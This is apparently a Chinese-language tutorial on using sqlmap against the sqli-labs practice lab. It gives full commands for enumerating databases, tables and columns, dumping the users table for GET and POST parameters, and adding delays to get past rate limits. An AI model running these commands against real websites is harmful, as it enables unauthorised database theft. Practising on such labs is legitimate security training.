sqlmap相对手工注入的优点

在找到一个注入点后,相信大家都会很烦接下来的注入测试,好不容易找到了一处注入点,我还要手工去使用布尔盲注,时间盲注一个一个测试等,但是sqlmap可以很好的帮助我们完成这个任务,可以去简化我们的测试

sqlmap的命令

在使用sqlmap之前,我们需要知道sqlmap的命令有哪些。
这个我们可以先从最简单的几个开始。对于数据库,里面必不可少的是数据库,表单,列,数据。

1
2
3
4
5
6
7
8
9
10
-u 指定目标URL (可以是http协议也可以是https协议)
-d 连接数据库
--dbs 列出所有的数据库
--current-db 列出当前数据库
--tables 列出当前的表
--columns 列出当前的列
--dump 获取字段中的数据
-D 选择使用哪个数据库
-T 选择使用哪个表
-C 选择使用哪个列

在知道这些命令后我们就可以来构造完整的命令了

1.对于一个知道注入点的url,我们首先需要得到他的数据库:

1
2
3
python sqlmap.py -u URL --current-db
或者 --dbs
如:python sqlmap.py -u http://192.168.0.103/sqli-labs-master/Less-1/?id=1 --current-db

这里我们可以得到其相关信息:
请添加图片描述

2.得到数据库之后我们需要得到某个数据库中的表单(先指定数据库)

1
2
python sqlmap.py -u URL -D 数据库名字 --tables
如:python sqlmap.py -u http://192.168.0.103/sqli-labs-master/Less-1/?id=1 -D security -- tables

请添加图片描述

3.得到数据库和表单后,我们需要知道表单里面有哪些列:

1
2
python sqlmap.py -u URL -D 数据库名字 -T 表单名字 --columns
如:python sqlmap.py -u http://192.168.0.103/sqli-labs-master/Less-1/?id=1 -D security -T users --columns

请添加图片描述

4.最后我们需要知道某一列中具体的数据:

1
2
python sqlmap.py -u URL 数据库名字 -T 表单名字 -C --dump
如:python sqlmap.py -u http://192.168.0.103/sqli-labs-master/Less-1/?id=1 -D security -T users -C username --dump

请添加图片描述
对于sqlmap的一个简单使用就是这个流程。更多的命令可以搜索一下sqlmap的命令。如对于一些网站会限制你访问的频率,我们可以用–delay多久访问访问等

实战

确定参数(判断注入点)
对于实际中的sqlmap使用,我们大致可以分为两种get型和post型

get型注入:

对于get传参,我们很好确定参数,url/?后的参数即为我们需要判断注入点的地方,我们可以直接尝试前面数据库,表单,列,数据的思路即可

POST型注入:

对于POST型注入,我们无法直接得到参数,需要先去确定参数,通常我们采用抓包的方法。
请添加图片描述

这里我们发现有三个参数uname,passwd,submit。
确定了参数我们就可以直接用sqlmap了。

第一种,通过url注入

这里需要采用–data,

1
2
python sqlmap.py -u URL --data="key=value" --current-db………………
如:python sqlmap.py -u http://192.168.0.103/sqli-labs-master/Less-11/ --data="uname=1&passwd=1&submit=submit" --current-db

在得到数据库后,我们在命令后面加–tables,–columns等即可

第二种,通过文本注入

这里我们采用-r,注意:-r不能和-u一起用。因为-r中已经包含了url
前面我们抓包得到了传递的数据包,我们将其全部复制下来,放入一个txt文件中,就可以了

1
python sqlmap.py -r 文件地址 --current-db

后面的过程就和前面一样了

如何深入使用sqlmap

到这里,已经可以满足大部分需求了。接下来要更深入的了解sqlmap就需要从web的防护入手,

1
2
3
例如,某个网站为了加强防御,于是对用户的访问时间做了检验,如果一秒
访问太多,就拒绝访问。这里我们就需要sqlmap在测试时有间隔,这些已经
被大佬考虑到了我们去了解sqlmap中的相关命令即可,--delay

你还可以控制sqlmap测试时的线程,这些都需要你对sqlmap的指令有清晰的认识。
建议:先从简单的sqlmap命令使用,熟练后,去深入了解sqlmap的命令,最后就是去实践